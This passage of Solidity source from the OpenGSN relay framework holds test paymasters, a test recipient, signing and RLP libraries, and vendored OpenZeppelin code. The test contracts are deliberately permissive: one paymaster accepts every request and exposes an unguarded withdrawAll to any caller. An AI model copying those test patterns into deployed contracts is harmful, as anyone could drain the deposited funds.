preRelayedCallGasLimit, uint postRelayedCallGasLimit) public { limits = IPaymaster.GasAndDataLimits( acceptanceBudget, preRelayedCallGasLimit, postRelayedCallGasLimit, limits.calldataSizeLimit ); } function setTrustRecipientRevert(bool on) public { trustRecipientRevert = on; } // solhint-disable-next-line no-empty-blocks receive() external override payable {} } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; pragma abicoder v2; import "../forwarder/IForwarder.sol"; import "../BasePaymaster.sol"; contract TestPaymasterEverythingAccepted is BasePaymaster { function versionPaymaster() external view override virtual returns (string memory){ return "2.2.0+opengsn.test-pea.ipaymaster"; } event SampleRecipientPreCall(); event SampleRecipientPostCall(bool success, uint actualCharge); function preRelayedCall( GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData, uint256 maxPossibleGas ) external override virtual returns (bytes memory, bool) { (signature); _verifyForwarder(relayRequest); (approvalData, maxPossibleGas); emit SampleRecipientPreCall(); return ("no revert here",false); } function postRelayedCall( bytes calldata context, bool success, uint256 gasUseWithoutPost, GsnTypes.RelayData calldata relayData ) external override virtual { (context, gasUseWithoutPost, relayData); emit SampleRecipientPostCall(success, gasUseWithoutPost); } function deposit() public payable { require(address(relayHub) != address(0), "relay hub address not set"); relayHub.depositFor{value:msg.value}(address(this)); } function withdrawAll(address payable destination) public { uint256 amount = relayHub.balanceOf(address(this)); withdrawRelayHubDepositTo(amount, destination); } } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; pragma abicoder v2; import "@openzeppelin/contracts/cryptography/ECDSA.sol"; import "./TestPaymasterEverythingAccepted.sol"; contract TestPaymasterOwnerSignature is TestPaymasterEverythingAccepted { using ECDSA for bytes32; /** * This demonstrates how dapps can provide an off-chain signatures to relayed transactions. */ function preRelayedCall( GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData, uint256 maxPossibleGas ) external view override returns (bytes memory, bool) { (signature, maxPossibleGas); _verifyForwarder(relayRequest); address signer = keccak256(abi.encodePacked("I approve", relayRequest.request.from)) .toEthSignedMessageHash() .recover(approvalData); require(signer == owner(), "test: not approved"); return ("",false); } } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; pragma abicoder v2; import "./TestPaymasterEverythingAccepted.sol"; contract TestPaymasterPreconfiguredApproval is TestPaymasterEverythingAccepted { bytes public expectedApprovalData; function setExpectedApprovalData(bytes memory val) public { expectedApprovalData = val; } function preRelayedCall( GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData, uint256 maxPossibleGas ) external view override returns (bytes memory, bool) { (relayRequest, signature, approvalData, maxPossibleGas); _verifyForwarder(relayRequest); require(keccak256(expectedApprovalData) == keccak256(approvalData), string(abi.encodePacked( "test: unexpected approvalData: '", approvalData, "' instead of '", expectedApprovalData, "'"))); return ("",false); } } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; pragma abicoder v2; import "./TestPaymasterEverythingAccepted.sol"; contract TestPaymasterStoreContext is TestPaymasterEverythingAccepted { event SampleRecipientPreCallWithValues( address relay, address from, bytes encodedFunction, uint256 baseRelayFee, uint256 pctRelayFee, uint256 gasPrice, uint256 gasLimit, bytes approvalData, uint256 maxPossibleGas ); event SampleRecipientPostCallWithValues( string context ); /** * This demonstrates how preRelayedCall can return 'context' data for reuse in postRelayedCall. */ function preRelayedCall( GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData, uint256 maxPossibleGas ) external override returns (bytes memory, bool) { (signature, approvalData, maxPossibleGas); _verifyForwarder(relayRequest); emit SampleRecipientPreCallWithValues( relayRequest.relayData.relayWorker, relayRequest.request.from, relayRequest.request.data, relayRequest.relayData.baseRelayFee, relayRequest.relayData.pctRelayFee, relayRequest.relayData.gasPrice, relayRequest.request.gas, approvalData, maxPossibleGas); return ("context passed from preRelayedCall to postRelayedCall",false); } function postRelayedCall( bytes calldata context, bool success, uint256 gasUseWithoutPost, GsnTypes.RelayData calldata relayData ) external override relayHubOnly { (context, success, gasUseWithoutPost, relayData); emit SampleRecipientPostCallWithValues(string(context)); } } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; pragma abicoder v2; import "./TestPaymasterEverythingAccepted.sol"; contract TestPaymasterVariableGasLimits is TestPaymasterEverythingAccepted { string public override versionPaymaster = "2.2.0+opengsn.test-vgl.ipaymaster"; event SampleRecipientPreCallWithValues( uint256 gasleft, uint256 maxPossibleGas ); event SampleRecipientPostCallWithValues( uint256 gasleft, uint256 gasUseWithoutPost ); function preRelayedCall( GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData, uint256 maxPossibleGas ) external override returns (bytes memory, bool) { (signature, approvalData); _verifyForwarder(relayRequest); emit SampleRecipientPreCallWithValues( gasleft(), maxPossibleGas); return ("", false); } function postRelayedCall( bytes calldata context, bool success, uint256 gasUseWithoutPost, GsnTypes.RelayData calldata relayData ) external override relayHubOnly { (context, success, gasUseWithoutPost, relayData); emit SampleRecipientPostCallWithValues(gasleft(), gasUseWithoutPost); } } /* solhint-disable avoid-tx-origin */ // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; import "../utils/GsnUtils.sol"; import "../BaseRelayRecipient.sol"; import "./TestPaymasterConfigurableMisbehavior.sol"; contract TestRecipient is BaseRelayRecipient { string public override versionRecipient = "2.2.0+opengsn.test.irelayrecipient"; constructor(address forwarder) { setTrustedForwarder(forwarder); } function getTrustedForwarder() public view returns(address) { return trustedForwarder; } function setTrustedForwarder(address forwarder) internal { trustedForwarder = forwarder; } event Reverting(string message); function testRevert() public { require(address(this) == address(0), "always fail"); emit Reverting("if you see this revert failed..."); } address payable public paymaster; function setWithdrawDuringRelayedCall(address payable _paymaster) public { paymaster = _paymaster; } // solhint-disable-next-line no-empty-blocks receive() external payable {} event SampleRecipientEmitted(string message, address realSender, address msgSender, address origin, uint256 msgValue, uint256 gasLeft, uint256 balance); function emitMessage(string memory message) public payable returns (string memory) { uint256 gasLeft = gasleft(); if (paymaster != address(0)) { withdrawAllBalance(); } emit SampleRecipientEmitted(message, _msgSender(), msg.sender, tx.origin, msg.value, gasLeft, address(this).balance); return "emitMessage return value"; } function withdrawAllBalance() public { TestPaymasterConfigurableMisbehavior(paymaster).withdrawAllBalance(); } // solhint-disable-next-line no-empty-blocks function dontEmitMessage(string calldata message) public {} function emitMessageNoParams() public { emit SampleRecipientEmitted("Method with no parameters", _msgSender(), msg.sender, tx.origin, 0, gasleft(), address(this).balance); } //return (or revert) with a string in the given length function checkReturnValues(uint len, bool doRevert) public view returns (string memory) { (this); string memory mesg = "this is a long message that we are going to return a small part from. we don't use a loop since we want a fixed gas usage of the method itself."; require( bytes(mesg).length>=len, "invalid len: too large"); /* solhint-disable no-inline-assembly */ //cut the msg at that length assembly { mstore(mesg, len) } require(!doRevert, mesg); return mesg; } //function with no return value (also test revert with no msg. function checkNoReturnValues(bool doRevert) public view { (this); /* solhint-disable reason-string*/ require(!doRevert); } } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; pragma abicoder v2; import "../utils/RelayHubValidator.sol"; contract TestRelayHubValidator { //for testing purposes, we must be called from a method with same param signature as RelayCall function dummyRelayCall( uint, //paymasterMaxAcceptanceBudget, GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData, uint //externalGasLimit ) external pure { RelayHubValidator.verifyTransactionPacking(relayRequest, signature, approvalData); } // helper method for verifyTransactionPacking function dynamicParamSize(bytes calldata buf) external pure returns (uint) { return RelayHubValidator.dynamicParamSize(buf); } } /* solhint-disable avoid-tx-origin */ // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; pragma abicoder v2; import "../interfaces/IRelayHub.sol"; contract TestRelayWorkerContract { function relayCall( IRelayHub hub, uint maxAcceptanceBudget, GsnTypes.RelayRequest memory relayRequest, bytes memory signature, uint externalGasLimit) public { hub.relayCall{gas:externalGasLimit}(maxAcceptanceBudget, relayRequest, signature, "", externalGasLimit); } } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; pragma abicoder v2; import "../utils/GsnTypes.sol"; import "../utils/GsnEip712Library.sol"; import "../utils/GsnUtils.sol"; contract TestUtil { function libRelayRequestName() public pure returns (string memory) { return GsnEip712Library.RELAY_REQUEST_NAME; } function libRelayRequestType() public pure returns (string memory) { return string(GsnEip712Library.RELAY_REQUEST_TYPE); } function libRelayRequestTypeHash() public pure returns (bytes32) { return GsnEip712Library.RELAY_REQUEST_TYPEHASH; } function libRelayRequestSuffix() public pure returns (string memory) { return GsnEip712Library.RELAY_REQUEST_SUFFIX; } //helpers for test to call the library funcs: function callForwarderVerify( GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature ) external view { GsnEip712Library.verify(relayRequest, signature); } function callForwarderVerifyAndCall( GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature ) external returns ( bool success, bytes memory ret ) { bool forwarderSuccess; (forwarderSuccess, success, ret) = GsnEip712Library.execute(relayRequest, signature); if ( !forwarderSuccess) { GsnUtils.revertWithData(ret); } emit Called(success, success == false ? ret : bytes("")); } event Called(bool success, bytes error); function splitRequest( GsnTypes.RelayRequest calldata relayRequest ) external pure returns ( bytes32 typeHash, bytes memory suffixData ) { (suffixData) = GsnEip712Library.splitRequest(relayRequest); typeHash = GsnEip712Library.RELAY_REQUEST_TYPEHASH; } function libDomainSeparator(address forwarder) public pure returns (bytes32) { return GsnEip712Library.domainSeparator(forwarder); } function libGetChainID() public pure returns (uint256) { return GsnEip712Library.getChainID(); } } // SPDX-License-Identifier:MIT pragma solidity >=0.7.6; pragma abicoder v2; import "../utils/GsnTypes.sol"; import "../interfaces/IRelayRecipient.sol"; import "../forwarder/IForwarder.sol"; import "./GsnUtils.sol"; /** * Bridge Library to map GSN RelayRequest into a call of a Forwarder */ library GsnEip712Library { // maximum length of return value/revert reason for 'execute' method. Will truncate result if exceeded. uint256 private constant MAX_RETURN_SIZE = 1024; //copied from Forwarder (can't reference string constants even from another library) string public constant GENERIC_PARAMS = "address from,address to,uint256 value,uint256 gas,uint256 nonce,bytes data,uint256 validUntil"; bytes public constant RELAYDATA_TYPE = "RelayData(uint256 gasPrice,uint256 pctRelayFee,uint256 baseRelayFee,address relayWorker,address paymaster,address forwarder,bytes paymasterData,uint256 clientId)"; string public constant RELAY_REQUEST_NAME = "RelayRequest"; string public constant RELAY_REQUEST_SUFFIX = string(abi.encodePacked("RelayData relayData)", RELAYDATA_TYPE)); bytes public constant RELAY_REQUEST_TYPE = abi.encodePacked( RELAY_REQUEST_NAME,"(",GENERIC_PARAMS,",", RELAY_REQUEST_SUFFIX); bytes32 public constant RELAYDATA_TYPEHASH = keccak256(RELAYDATA_TYPE); bytes32 public constant RELAY_REQUEST_TYPEHASH = keccak256(RELAY_REQUEST_TYPE); struct EIP712Domain { string name; string version; uint256 chainId; address verifyingContract; } bytes32 public constant EIP712DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); function splitRequest( GsnTypes.RelayRequest calldata req ) internal pure returns ( bytes memory suffixData ) { suffixData = abi.encode( hashRelayData(req.relayData)); } //verify that the recipient trusts the given forwarder // MUST be called by paymaster function verifyForwarderTrusted(GsnTypes.RelayRequest calldata relayRequest) internal view { (bool success, bytes memory ret) = relayRequest.request.to.staticcall( abi.encodeWithSelector( IRelayRecipient.isTrustedForwarder.selector, relayRequest.relayData.forwarder ) ); require(success, "isTrustedForwarder: reverted"); require(ret.length == 32, "isTrustedForwarder: bad response"); require(abi.decode(ret, (bool)), "invalid forwarder for recipient"); } function verifySignature(GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature) internal view { (bytes memory suffixData) = splitRequest(relayRequest); bytes32 _domainSeparator = domainSeparator(relayRequest.relayData.forwarder); IForwarder forwarder = IForwarder(payable(relayRequest.relayData.forwarder)); forwarder.verify(relayRequest.request, _domainSeparator, RELAY_REQUEST_TYPEHASH, suffixData, signature); } function verify(GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature) internal view { verifyForwarderTrusted(relayRequest); verifySignature(relayRequest, signature); } function execute(GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature) internal returns (bool forwarderSuccess, bool callSuccess, bytes memory ret) { (bytes memory suffixData) = splitRequest(relayRequest); bytes32 _domainSeparator = domainSeparator(relayRequest.relayData.forwarder); /* solhint-disable-next-line avoid-low-level-calls */ (forwarderSuccess, ret) = relayRequest.relayData.forwarder.call( abi.encodeWithSelector(IForwarder.execute.selector, relayRequest.request, _domainSeparator, RELAY_REQUEST_TYPEHASH, suffixData, signature )); if ( forwarderSuccess ) { //decode return value of execute: (callSuccess, ret) = abi.decode(ret, (bool, bytes)); } truncateInPlace(ret); } //truncate the given parameter (in-place) if its length is above the given maximum length // do nothing otherwise. //NOTE: solidity warns unless the method is marked "pure", but it DOES modify its parameter. function truncateInPlace(bytes memory data) internal pure { MinLibBytes.truncateInPlace(data, MAX_RETURN_SIZE); } function domainSeparator(address forwarder) internal pure returns (bytes32) { return hashDomain(EIP712Domain({ name : "GSN Relayed Transaction", version : "2", chainId : getChainID(), verifyingContract : forwarder })); } function getChainID() internal pure returns (uint256 id) { /* solhint-disable no-inline-assembly */ assembly { id := chainid() } } function hashDomain(EIP712Domain memory req) internal pure returns (bytes32) { return keccak256(abi.encode( EIP712DOMAIN_TYPEHASH, keccak256(bytes(req.name)), keccak256(bytes(req.version)), req.chainId, req.verifyingContract)); } function hashRelayData(GsnTypes.RelayData calldata req) internal pure returns (bytes32) { return keccak256(abi.encode( RELAYDATA_TYPEHASH, req.gasPrice, req.pctRelayFee, req.baseRelayFee, req.relayWorker, req.paymaster, req.forwarder, keccak256(req.paymasterData), req.clientId )); } } // SPDX-License-Identifier:MIT pragma solidity >=0.7.6; import "../forwarder/IForwarder.sol"; interface GsnTypes { /// @notice gasPrice, pctRelayFee and baseRelayFee must be validated inside of the paymaster's preRelayedCall in order not to overpay struct RelayData { uint256 gasPrice; uint256 pctRelayFee; uint256 baseRelayFee; address relayWorker; address paymaster; address forwarder; bytes paymasterData; uint256 clientId; } //note: must start with the ForwardRequest to be an extension of the generic forwarder struct RelayRequest { IForwarder.ForwardRequest request; RelayData relayData; } } /* solhint-disable no-inline-assembly */ // SPDX-License-Identifier:MIT pragma solidity >=0.7.6; import "../utils/MinLibBytes.sol"; library GsnUtils { /** * extract method sig from encoded function call */ function getMethodSig(bytes memory msgData) internal pure returns (bytes4) { return MinLibBytes.readBytes4(msgData, 0); } /** * extract parameter from encoded-function block. * see: https://solidity.readthedocs.io/en/develop/abi-spec.html#formal-specification-of-the-encoding * the return value should be casted to the right type (uintXXX/bytesXXX/address/bool/enum) */ function getParam(bytes memory msgData, uint index) internal pure returns (uint) { return MinLibBytes.readUint256(msgData, 4 + index * 32); } //re-throw revert with the same revert data. function revertWithData(bytes memory data) internal pure { assembly { revert(add(data,32), mload(data)) } } } // SPDX-License-Identifier: MIT // minimal bytes manipulation required by GSN // a minimal subset from 0x/LibBytes /* solhint-disable no-inline-assembly */ pragma solidity >=0.7.6; library MinLibBytes { //truncate the given parameter (in-place) if its length is above the given maximum length // do nothing otherwise. //NOTE: solidity warns unless the method is marked "pure", but it DOES modify its parameter. function truncateInPlace(bytes memory data, uint256 maxlen) internal pure { if (data.length > maxlen) { assembly { mstore(data, maxlen) } } } /// @dev Reads an address from a position in a byte array. /// @param b Byte array containing an address. /// @param index Index in byte array of address. /// @return result address from byte array. function readAddress( bytes memory b, uint256 index ) internal pure returns (address result) { require (b.length >= index + 20, "readAddress: data too short"); // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Read address from array memory assembly { // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 20-byte mask to obtain address result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff) } return result; } function readBytes32( bytes memory b, uint256 index ) internal pure returns (bytes32 result) { require(b.length >= index + 32, "readBytes32: data too short" ); // Read the bytes32 from array memory assembly { result := mload(add(b, add(index,32))) } return result; } /// @dev Reads a uint256 value from a position in a byte array. /// @param b Byte array containing a uint256 value. /// @param index Index in byte array of uint256 value. /// @return result uint256 value from byte array. function readUint256( bytes memory b, uint256 index ) internal pure returns (uint256 result) { result = uint256(readBytes32(b, index)); return result; } function readBytes4( bytes memory b, uint256 index ) internal pure returns (bytes4 result) { require(b.length >= index + 4, "readBytes4: data too short"); // Read the bytes4 from array memory assembly { result := mload(add(b, add(index,32))) // Solidity does not require us to clean the trailing bytes. // We do it anyway result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000) } return result; } } // SPDX-License-Identifier:APACHE-2.0 /* * Taken from https://github.com/hamdiallam/Solidity-RLP */ /* solhint-disable */ pragma solidity ^0.7.6; library RLPReader { uint8 constant STRING_SHORT_START = 0x80; uint8 constant STRING_LONG_START = 0xb8; uint8 constant LIST_SHORT_START = 0xc0; uint8 constant LIST_LONG_START = 0xf8; uint8 constant WORD_SIZE = 32; struct RLPItem { uint len; uint memPtr; } using RLPReader for bytes; using RLPReader for uint; using RLPReader for RLPReader.RLPItem; // helper function to decode rlp encoded legacy ethereum transaction /* * @param rawTransaction RLP encoded legacy ethereum transaction rlp([nonce, gasPrice, gasLimit, to, value, data])) * @return tuple (nonce,gasPrice,gasLimit,to,value,data) */ function decodeLegacyTransaction(bytes calldata rawTransaction) internal pure returns (uint, uint, uint, address, uint, bytes memory){ RLPReader.RLPItem[] memory values = rawTransaction.toRlpItem().toList(); // must convert to an rlpItem first! return (values[0].toUint(), values[1].toUint(), values[2].toUint(), values[3].toAddress(), values[4].toUint(), values[5].toBytes()); } /* * @param rawTransaction format: 0x01 || rlp([chainId, nonce, gasPrice, gasLimit, to, value, data, access_list])) * @return tuple (nonce,gasPrice,gasLimit,to,value,data) */ function decodeTransactionType1(bytes calldata rawTransaction) internal pure returns (uint, uint, uint, address, uint, bytes memory){ bytes memory payload = rawTransaction[1:rawTransaction.length]; RLPReader.RLPItem[] memory values = payload.toRlpItem().toList(); // must convert to an rlpItem first! return (values[1].toUint(), values[2].toUint(), values[3].toUint(), values[4].toAddress(), values[5].toUint(), values[6].toBytes()); } /* * @param item RLP encoded bytes */ function toRlpItem(bytes memory item) internal pure returns (RLPItem memory) { if (item.length == 0) return RLPItem(0, 0); uint memPtr; assembly { memPtr := add(item, 0x20) } return RLPItem(item.length, memPtr); } /* * @param item RLP encoded list in bytes */ function toList(RLPItem memory item) internal pure returns (RLPItem[] memory result) { require(isList(item), "isList failed"); uint items = numItems(item); result = new RLPItem[](items); uint memPtr = item.memPtr + _payloadOffset(item.memPtr); uint dataLen; for (uint i = 0; i < items; i++) { dataLen = _itemLength(memPtr); result[i] = RLPItem(dataLen, memPtr); memPtr = memPtr + dataLen; } } /* * Helpers */ // @return indicator whether encoded payload is a list. negate this function call for isData. function isList(RLPItem memory item) internal pure returns (bool) { uint8 byte0; uint memPtr = item.memPtr; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < LIST_SHORT_START) return false; return true; } // @return number of payload items inside an encoded list. function numItems(RLPItem memory item) internal pure returns (uint) { uint count = 0; uint currPtr = item.memPtr + _payloadOffset(item.memPtr); uint endPtr = item.memPtr + item.len; while (currPtr < endPtr) { currPtr = currPtr + _itemLength(currPtr); // skip over an item count++; } return count; } // @return entire rlp item byte length function _itemLength(uint memPtr) internal pure returns (uint len) { uint byte0; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < STRING_SHORT_START) return 1; else if (byte0 < STRING_LONG_START) return byte0 - STRING_SHORT_START + 1; else if (byte0 < LIST_SHORT_START) { assembly { let byteLen := sub(byte0, 0xb7) // # of bytes the actual length is memPtr := add(memPtr, 1) // skip over the first byte /* 32 byte word size */ let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to get the len len := add(dataLen, add(byteLen, 1)) } } else if (byte0 < LIST_LONG_START) { return byte0 - LIST_SHORT_START + 1; } else { assembly { let byteLen := sub(byte0, 0xf7) memPtr := add(memPtr, 1) let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to the correct length len := add(dataLen, add(byteLen, 1)) } } } // @return number of bytes until the data function _payloadOffset(uint memPtr) internal pure returns (uint) { uint byte0; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < STRING_SHORT_START) return 0; else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START)) return 1; else if (byte0 < LIST_SHORT_START) // being explicit return byte0 - (STRING_LONG_START - 1) + 1; else return byte0 - (LIST_LONG_START - 1) + 1; } /** RLPItem conversions into data types **/ // @returns raw rlp encoding in bytes function toRlpBytes(RLPItem memory item) internal pure returns (bytes memory) { bytes memory result = new bytes(item.len); uint ptr; assembly { ptr := add(0x20, result) } copy(item.memPtr, ptr, item.len); return result; } function toBoolean(RLPItem memory item) internal pure returns (bool) { require(item.len == 1, "Invalid RLPItem. Booleans are encoded in 1 byte"); uint result; uint memPtr = item.memPtr; assembly { result := byte(0, mload(memPtr)) } return result == 0 ? false : true; } function toAddress(RLPItem memory item) internal pure returns (address) { // 1 byte for the length prefix according to RLP spec require(item.len <= 21, "Invalid RLPItem. Addresses are encoded in 20 bytes or less"); return address(toUint(item)); } function toUint(RLPItem memory item) internal pure returns (uint) { uint offset = _payloadOffset(item.memPtr); uint len = item.len - offset; uint memPtr = item.memPtr + offset; uint result; assembly { result := div(mload(memPtr), exp(256, sub(32, len))) // shift to the correct location } return result; } function toBytes(RLPItem memory item) internal pure returns (bytes memory) { uint offset = _payloadOffset(item.memPtr); uint len = item.len - offset; // data length bytes memory result = new bytes(len); uint destPtr; assembly { destPtr := add(0x20, result) } copy(item.memPtr + offset, destPtr, len); return result; } /* * @param src Pointer to source * @param dest Pointer to destination * @param len Amount of memory to copy from the source */ function copy(uint src, uint dest, uint len) internal pure { // copy as many word sizes as possible for (; len >= WORD_SIZE; len -= WORD_SIZE) { assembly { mstore(dest, mload(src)) } src += WORD_SIZE; dest += WORD_SIZE; } // left over bytes. Mask is used to remove unwanted bytes from the word uint mask = 256 ** (WORD_SIZE - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) // zero out src let destpart := and(mload(dest), mask) // retrieve the bytes mstore(dest, or(destpart, srcpart)) } } } // SPDX-License-Identifier:MIT pragma solidity ^0.7.5; pragma abicoder v2; import "../utils/GsnTypes.sol"; library RelayHubValidator { // validate that encoded relayCall is properly packed without any extra bytes function verifyTransactionPacking( GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature, bytes calldata approvalData ) internal pure { // abicoder v2: https://docs.soliditylang.org/en/latest/abi-spec.html // each static param/member is 1 word // struct (with dynamic members) has offset to struct which is 1 word // dynamic member is 1 word offset to actual value, which is 1-word length and ceil(length/32) words for data // relayCall has 5 method params, // relayRequest: 2 members // relayData 8 members // ForwardRequest: 7 members // total 22 32-byte words if all dynamic params are zero-length. uint expectedMsgDataLen = 4 + 22 * 32 + dynamicParamSize(signature) + dynamicParamSize(approvalData) + dynamicParamSize(relayRequest.request.data) + dynamicParamSize(relayRequest.relayData.paymasterData); require(signature.length <= 65, "invalid signature length"); require(expectedMsgDataLen == msg.data.length, "extra msg.data bytes" ); } // helper method for verifyTransactionPacking: // size (in bytes) of the given "bytes" parameter. size include the length (32-byte word), // and actual data size, rounded up to full 32-byte words function dynamicParamSize(bytes calldata buf) internal pure returns (uint) { return 32 + ((buf.length + 31) & uint(~31)); } } // SPDX-License-Identifier:MIT pragma solidity ^0.7.6; // solhint-disable not-rely-on-time import "../interfaces/IVersionRegistry.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract VersionRegistry is IVersionRegistry, Ownable { function addVersion(bytes32 id, bytes32 version, string calldata value) external override onlyOwner { require(id != bytes32(0), "missing id"); require(version != bytes32(0), "missing version"); emit VersionAdded(id, version, value, block.timestamp); } function cancelVersion(bytes32 id, bytes32 version, string calldata reason) external override onlyOwner { emit VersionCanceled(id, version, reason); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () /*internal*/ { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * 